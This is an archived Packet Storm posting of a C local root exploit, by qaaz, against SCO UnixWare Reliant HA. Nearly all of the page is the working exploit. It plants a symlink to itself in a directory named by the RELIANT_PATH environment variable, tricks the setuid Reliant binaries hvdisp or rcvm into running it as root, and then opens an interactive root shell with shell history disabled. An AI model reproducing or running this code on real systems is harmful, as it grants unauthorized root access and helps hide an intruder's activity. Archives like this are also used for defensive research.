exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

scoreliant-local.txt

scoreliant-local.txt
Posted Apr 4, 2008
Authored by qaaz

SCO UnixWare Reliant HA local root exploit.

tags | exploit, local, root
systems | unixware
SHA-256 | 7962d0fbe4f0cb88c507acc5f45caea618cd091bb18a8f78bbc336fdcabf4001

scoreliant-local.txt

Change Mirror Download
/* 04/2008: public release
* I have'nt seen any advisory on this; possibly still not fixed.
*
* SCO UnixWare Reliant HA Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>

#define TGT1 "/usr/opt/reliant/bin/hvdisp"
#define TGT2 "/usr/opt/reliant/bin/rcvm"
#define DIR "bin"
#define BIN DIR "/hvenv"

int main(int argc, char *argv[])
{
char self[4096], *target;
pid_t child;

if (geteuid() == 0) {
setuid(geteuid());
dup2(3, 0);
dup2(4, 1);
dup2(5, 2);
if ((child = fork()) == 0) {
putenv("HISTFILE=/dev/null");
execl("/bin/sh", "sh", "-i", NULL);
printf("[-] sh: %s\n", strerror(errno));
} else if (child != -1)
waitpid(child, NULL, 0);
kill(getppid(), 15);
return 1;
}

printf("----------------------------------------\n");
printf(" UnixWare Reliant HA Local Root Exploit\n");
printf(" By qaaz\n");
printf("----------------------------------------\n");

if (access(TGT1, EX_OK) == 0)
target = TGT1;
else if (access(TGT2, EX_OK) == 0)
target = TGT2;
else {
printf("[-] No targets found\n");
return 1;
}

sprintf(self, "/proc/%d/object/a.out", getpid());

if (mkdir(DIR, 0777) < 0 && errno != EEXIST) {
printf("[-] %s: %s\n", DIR, strerror(errno));
return 1;
}

if (symlink(self, BIN) < 0) {
printf("[-] %s: %s\n", BIN, strerror(errno));
rmdir(DIR);
return 1;
}

if ((child = fork()) == 0) {
char path[4096] = "RELIANT_PATH=";

dup2(0, 3);
dup2(1, 4);
dup2(2, 5);
putenv(strcat(path, getcwd(NULL, sizeof(path)-14)));
execl(target, target, NULL);
printf("[-] %s: %s\n", target, strerror(errno));
return 1;
} else if (child != -1)
waitpid(child, NULL, 0);

unlink(BIN);
rmdir(DIR);
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close